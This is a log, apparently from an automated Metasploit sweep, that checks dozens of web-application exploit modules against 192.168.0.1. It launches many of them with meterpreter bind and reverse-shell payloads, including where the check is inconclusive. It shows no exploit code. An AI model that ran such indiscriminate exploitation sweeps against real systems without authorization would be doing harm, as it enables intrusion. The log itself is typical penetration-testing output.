[*] Check code for multi/http/builderengine_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/builderengine_upload_exec
[*] Checking multi/http/cacti_graph_template_rce against host 192.168.0.1:80 ...
[*] Exploiting multi/http/cacti_graph_template_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Exploit multi/http/cacti_graph_template_rce job ID for target 192.168.0.1 is: 8
[*] Checking multi/http/cacti_package_import_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/cacti_package_import_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The web server is not running Cacti", reason="The web server is not running Cacti", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cacti_package_import_rce
[*] Checking multi/http/cacti_pollers_sqli_rce against host 192.168.0.1:80 ...
[*] Exploiting multi/http/cacti_pollers_sqli_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/caidao_php_backdoor_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/caidao_php_backdoor_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/caidao_php_backdoor_exec
[*] Checking multi/http/carrental_fileupload_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/carrental_fileupload_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Failed to access the target.", reason="Failed to access the target.", details={}, vuln={}>
[*] Exploiting multi/http/carrental_fileupload_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/churchcrm_db_restore_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting multi/http/churchcrm_db_restore_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/churchcrm_install_unauth_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/churchcrm_install_unauth_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Setup page is inaccessible", reason="Setup page is inaccessible", details={}, vuln={}>
[*] Exploiting multi/http/churchcrm_install_unauth_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/churchinfo_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/churchinfo_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not running ChurchInfo!", reason="Target is not running ChurchInfo!", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/churchinfo_upload_exec
[*] Checking multi/http/cisco_dcnm_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/cisco_dcnm_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cisco_dcnm_upload
[*] Checking multi/http/clinic_pms_fileupload_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/clinic_pms_fileupload_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not connect to the target", reason="Could not connect to the target", details={}, vuln={}>
[*] Exploiting multi/http/clinic_pms_fileupload_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/clinic_pms_sqli_to_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/clinic_pms_sqli_to_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected response code from server", reason="Unexpected response code from server", details={}, vuln={}>
[*] Exploiting multi/http/clinic_pms_sqli_to_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/clipbucket_fileupload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/clipbucket_fileupload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/clipbucket_fileupload_exec
[*] Checking multi/http/cmsms_file_manager_auth_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/cmsms_file_manager_auth_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cmsms_file_manager_auth_rce
[*] Checking multi/http/cmsms_object_injection_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/cmsms_object_injection_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cmsms_object_injection_rce
[*] Checking multi/http/cmsms_showtime2_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/cmsms_showtime2_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target version is not vulnerable", reason="The target version is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cmsms_showtime2_rce
[*] Checking multi/http/cmsms_upload_rename_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/cmsms_upload_rename_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cmsms_upload_rename_rce
[*] Checking multi/http/cockpit_cms_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/cockpit_cms_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cockpit_cms_rce
[*] Checking multi/http/coldfusion_rds_auth_bypass against host 192.168.0.1:80 ...
[*] Check code for multi/http/coldfusion_rds_auth_bypass: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/coldfusion_rds_auth_bypass
[*] Checking multi/http/cuteflow_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/cuteflow_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cuteflow_upload_exec
[*] Checking multi/http/cve_2023_38836_boidcms against host 192.168.0.1:80 ...
[*] Check code for multi/http/cve_2023_38836_boidcms: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Unable to retrieve BoidCMS title page", reason="Unable to retrieve BoidCMS title page", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/cve_2023_38836_boidcms
[*] Checking multi/http/dexter_casinoloader_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/dexter_casinoloader_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/dexter_casinoloader_exec
[*] Checking multi/http/dompdf_rce_cve_2022_28368 against host 192.168.0.1:80 ...
[*] Check code for multi/http/dompdf_rce_cve_2022_28368: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running DOMPDF", reason="The target is not running DOMPDF", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/dompdf_rce_cve_2022_28368
[*] Checking multi/http/drupal_drupageddon against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/drupal_drupageddon against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/extplorer_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/extplorer_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/extplorer_upload_exec
[*] Checking multi/http/familycms_less_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/familycms_less_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/familycms_less_exec
[*] Checking multi/http/freenas_exec_raw against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/freenas_exec_raw against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/gestioip_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/gestioip_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/gestioip_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/gestioip_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not vulnerable", reason="Target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/gestioip_rce
[*] Checking multi/http/getsimplecms_unauth_code_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/getsimplecms_unauth_code_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/getsimplecms_unauth_code_exec
[*] Checking multi/http/ghostcms_auth_rce_cve_2026_29053 against host 192.168.0.1:80 ...
[*] Check code for multi/http/ghostcms_auth_rce_cve_2026_29053: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. 192.168.0.1:80 - Ghost generator meta tag not found", reason="192.168.0.1:80 - Ghost generator meta tag not found", details={}, vuln={}>
[*] Exploiting multi/http/ghostcms_auth_rce_cve_2026_29053 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/gitlab_exif_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/gitlab_exif_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Not a GitLab web interface", reason="Not a GitLab web interface", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/gitlab_exif_rce
[*] Checking multi/http/gitlab_file_read_rce against host 192.168.0.1:80 ...
[*] Exploiting multi/http/gitlab_file_read_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/gitlab_github_import_rce_cve_2022_2992 against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/gitlab_github_import_rce_cve_2022_2992 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/gitlab_shell_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/gitlab_shell_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. GitLab not detected in the response", reason="GitLab not detected in the response", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/gitlab_shell_exec
[*] Checking multi/http/gitlist_arg_injection against host 192.168.0.1:80 ...
[*] Check code for multi/http/gitlist_arg_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/gitlist_arg_injection
[*] Checking multi/http/gitorious_graph against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/gitorious_graph against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/glossword_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/glossword_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/glossword_upload_exec
[*] Checking multi/http/glpi_install_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/glpi_install_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/glpi_install_rce
[*] Checking multi/http/grav_admin_direct_install_rce_cve_2025_50286 against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/grav_admin_direct_install_rce_cve_2025_50286 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/grav_twig_ssti_sandbox_bypass_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/grav_twig_ssti_sandbox_bypass_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/horde_csv_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/horde_csv_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/horde_form_file_upload against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/horde_form_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/horde_href_backdoor against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/horde_href_backdoor against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/horizontcms_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/horizontcms_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a HorizontCMS application.", reason="Target is not a HorizontCMS application.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/horizontcms_upload_exec
[*] Checking multi/http/ibm_openadmin_tool_soap_welcomeserver_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/ibm_openadmin_tool_soap_welcomeserver_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
[*] Checking multi/http/invision_customcss_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/invision_customcss_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to retrieve or parse IPS version from EULA", reason="Unable to retrieve or parse IPS version from EULA", details={}, vuln={}>
[*] Exploiting multi/http/invision_customcss_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/ispconfig_php_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/ispconfig_php_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/jenkins_script_console against host 192.168.0.1:80 ...
[*] Check code for multi/http/jenkins_script_console: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/jenkins_script_console
[*] Checking multi/http/joomla_com_jce_unauth_file_upload_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/joomla_com_jce_unauth_file_upload_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. JCE component does not appear to be installed.", reason="JCE component does not appear to be installed.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/joomla_com_jce_unauth_file_upload_rce
[*] Checking multi/http/joomla_http_header_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/joomla_http_header_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. X-Powered-By header is missing, unable to determine PHP version", reason="X-Powered-By header is missing, unable to determine PHP version", details={}, vuln={}>
[*] Exploiting multi/http/joomla_http_header_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/kordil_edms_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/kordil_edms_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/kordil_edms_upload_exec
[*] Checking multi/http/lcms_php_exec against host 192.168.0.1:80 ...
[*] Exploiting multi/http/lcms_php_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/lighthouse_studio_unauth_rce_cve_2025_34300 against host 192.168.0.1:80 ...
[*] Check code for multi/http/lighthouse_studio_unauth_rce_cve_2025_34300: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No response from target", reason="No response from target", details={}, vuln={}>
[*] Exploiting multi/http/lighthouse_studio_unauth_rce_cve_2025_34300 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/log1cms_ajax_create_folder against host 192.168.0.1:80 ...
[*] Check code for multi/http/log1cms_ajax_create_folder: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/log1cms_ajax_create_folder
[*] Checking multi/http/log4shell_header_injection against host 192.168.0.1:80 ...
[*] Check code for multi/http/log4shell_header_injection: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability.", reason=nil, details={}, vuln={}>
[*] Exploiting multi/http/log4shell_header_injection against host 192.168.0.1:80 ...
[*] Payload selected: java/meterpreter/bind_tcp
[*] Checking multi/http/magento_sessionreaper against host 192.168.0.1:80 ...
[*] Check code for multi/http/magento_sessionreaper: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected HTTP status: 501", reason="Unexpected HTTP status: 501", details={}, vuln={}>
[*] Exploiting multi/http/magento_sessionreaper against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/magento_unserialize against host 192.168.0.1:80 ...
[*] Check code for multi/http/magento_unserialize: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/magento_unserialize
[*] Checking multi/http/majordomo_cmd_injection_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/majordomo_cmd_injection_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. rc/index.php did not return OK for command 'shutdown'", reason="rc/index.php did not return OK for command 'shutdown'", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/majordomo_cmd_injection_rce
[*] Checking multi/http/majordomo_console_eval_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/majordomo_console_eval_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected HTTP response code: 404", reason="Unexpected HTTP response code: 404", details={}, vuln={}>
[*] Exploiting multi/http/majordomo_console_eval_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/majordomo_supply_chain_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/majordomo_supply_chain_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be MajorDoMo", reason="Target does not appear to be MajorDoMo", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/majordomo_supply_chain_rce
[*] Checking multi/http/makoserver_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/makoserver_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/makoserver_cmd_exec
[*] Checking multi/http/mantisbt_manage_proj_page_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/mantisbt_manage_proj_page_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to determine Mantis version from the response", reason="Unable to determine Mantis version from the response", details={}, vuln={}>
[*] Exploiting multi/http/mantisbt_manage_proj_page_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/mantisbt_php_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/mantisbt_php_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to detect Mantis version", reason="Unable to detect Mantis version", details={}, vuln={}>
[*] Exploiting multi/http/mantisbt_php_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/maracms_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/maracms_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a MaraCMS application.", reason="Target is not a MaraCMS application.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/maracms_upload_exec
[*] Checking multi/http/mediawiki_syntaxhighlight against host 192.168.0.1:80 ...
[*] Check code for multi/http/mediawiki_syntaxhighlight: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/mediawiki_syntaxhighlight
[*] Checking multi/http/mediawiki_thumb against host 192.168.0.1:80 ...
[*] Check code for multi/http/mediawiki_thumb: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to extract MediaWiki version from response", reason="Unable to extract MediaWiki version from response", details={}, vuln={}>
[*] Exploiting multi/http/mediawiki_thumb against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/mma_backdoor_upload against host 192.168.0.1:80 ...
[*] Exploiting multi/http/mma_backdoor_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/mobilecartly_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/mobilecartly_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/mobilecartly_upload_exec
[*] Checking multi/http/monitorr_webshell_rce_cve_2020_28871 against host 192.168.0.1:80 ...
[*] Check code for multi/http/monitorr_webshell_rce_cve_2020_28871: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Received an unexpected response from the target", reason="Received an unexpected response from the target", details={}, vuln={}>
[*] Exploiting multi/http/monitorr_webshell_rce_cve_2020_28871 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/monsta_ftp_downloadfile_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/monsta_ftp_downloadfile_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target does not appear to be Monsta FTP", reason="Target does not appear to be Monsta FTP", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/monsta_ftp_downloadfile_rce
[*] Checking multi/http/monstra_fileupload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/monstra_fileupload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected HTTP status code: 404", reason="Unexpected HTTP status code: 404", details={}, vuln={}>
[*] Exploiting multi/http/monstra_fileupload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/moodle_admin_shell_upload against host 192.168.0.1:80 ...
[*] Check code for multi/http/moodle_admin_shell_upload: #<struct Msf::Exploit::CheckCode code="detected", message="The service is running, but could not be validated. Unable to determine moodle version", reason="Unable to determine moodle version", details={}, vuln={}>
[*] Exploiting multi/http/moodle_admin_shell_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/moodle_spelling_binary_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/moodle_spelling_binary_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No web server or moodle instance found", reason="No web server or moodle instance found", details={}, vuln={}>
[*] Exploiting multi/http/moodle_spelling_binary_rce against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/moodle_spelling_path_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/moodle_spelling_path_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No web server or moodle instance found", reason="No web server or moodle instance found", details={}, vuln={}>
[*] Exploiting multi/http/moodle_spelling_path_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/moodle_teacher_enrollment_priv_esc_to_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/moodle_teacher_enrollment_priv_esc_to_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No web server or moodle instance found", reason="No web server or moodle instance found", details={}, vuln={}>
[*] Exploiting multi/http/moodle_teacher_enrollment_priv_esc_to_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/movabletype_upgrade_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/movabletype_upgrade_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected HTTP status code: 404", reason="Unexpected HTTP status code: 404", details={}, vuln={}>
[*] Exploiting multi/http/movabletype_upgrade_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking multi/http/mutiny_subnetmask_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/mutiny_subnetmask_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/mutiny_subnetmask_exec
[*] Checking multi/http/mybb_rce_cve_2022_24734 against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/mybb_rce_cve_2022_24734 against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/nas4free_php_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting multi/http/nas4free_php_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/navigate_cms_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/navigate_cms_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/navigate_cms_rce
[*] Checking multi/http/nibbleblog_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/nibbleblog_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/nostromo_code_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/nostromo_code_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/nostromo_code_exec
[*] Checking multi/http/novell_servicedesk_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/novell_servicedesk_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not running a vulnerable version", reason="The target is not running a vulnerable version", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/novell_servicedesk_rce
[*] Checking multi/http/nuuo_nvrmini_upgrade_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/nuuo_nvrmini_upgrade_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/nuuo_nvrmini_upgrade_rce
[*] Checking multi/http/october_upload_bypass_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/october_upload_bypass_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/october_upload_bypass_exec
[*] Checking multi/http/open_web_analytics_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/open_web_analytics_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not running Open Web Analytics", reason="Target is not running Open Web Analytics", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/open_web_analytics_rce
[*] Checking multi/http/opencats_installer_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/opencats_installer_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected response from installer endpoint.", reason="Unexpected response from installer endpoint.", details={}, vuln={}>
[*] Exploiting multi/http/opencats_installer_rce against host 192.168.0.1:80 ...
